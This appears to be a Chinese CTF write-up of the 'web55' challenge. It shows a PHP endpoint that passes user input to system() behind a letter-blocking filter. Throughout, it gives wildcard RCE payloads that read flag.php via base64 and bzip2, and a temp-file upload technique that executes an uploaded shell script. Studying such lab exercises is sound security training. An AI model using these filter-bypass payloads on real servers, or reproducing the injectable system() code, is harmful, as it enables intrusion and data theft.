web55笔记(+字⺟过滤-无字母RCE)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

把字⺟过滤了⽽已,可以⽤通配符来把flag搞出来

bin为binary的简写,主要放置⼀些系统的必备执⾏档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。

我们⽇常直接使⽤的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls 

(1)未过滤数字,利用 /bin/ 目录下的 base64 进行通配符匹配,构造 payload:

?c=/???/????64 ????.???

获得 flag.php 的 base64 编码:

(2)利用 /usr/bin/ 下的 bzip2 命令 先将 flag.php 压缩,构造 payload:

?c=/???/???/????2 ????.???

bzip2 命令压缩后的文件后缀为 .bz2,因此这里压缩后文件名为:flag.php.bz2

访问该文件下载:打开即可看到 flag:

(3)主要是过滤了字母,分号过滤了自增也不行,我试了取反但是不行,不知道是不是需要传给 eval 函数才可以还是什么原因,希望知道的师傅可以解释下。 在无字母 rce 里还有一个点:临时文件上传

做到这里勇师傅已经感觉到题目难度开始上来了,之前并未接触过这个类型的题,这里先参照题目提示的方法来: 通过post一个文件(文件里面是 sh 命令),在上传的过程中,通过 . (点)去执行执行这个文件。 上传的这个临时文件会保存在 /tmp/ 下,且文件名一定是 php 加上六个随机的字符,即 /tmp/php??????,这个临时文件还会有一个特性,就是这 6 个随机的字符会出现大写的情况,这也是我们的另一个利用点,利用大写字母区别于其他文件,我们使用匹配符:[@-[] 即可匹配到大写字母,大写字母位于 “ @ ” 与 “ [ ” 之间。

构造 post 数据包:文件后缀为 .html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://xxx" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

链接:https://blog.csdn.net/Myon5/article/details/139576761

构造用于上传的文件(sh命令):

我这里命名为 exp.txt,内容如下: 

#!/bin/sh
ls

上传我们构造的文件,使用 burpsuite 抓包(这里需要允许抓取本地的请求包):

发到重发器,添加 payload:?c=.%20/???/????????[@-[]

%20 是空格,我们这里使用点执行我们上传的文件,从而去执行内容中的 sh 命令,该文件会传到 /tmp/phpxxxxxx ,过滤了字母我们使用通配符问号代替,主要匹配的特征是文件名结尾的大写字母,大写字母不一定随机出现在最后一位,可能需要多试几次。

我们原本在上传的文件里写的是执行 ls 命令:
而后修改 sh 命令,读取 flag.php

 

 更改目录:发到重发器,添加 payload:?c=.%20/???/????????[@-[]

 

 

posted @ 2025-03-15 14:15  justdoIT*  阅读(18)  评论(0)    收藏  举报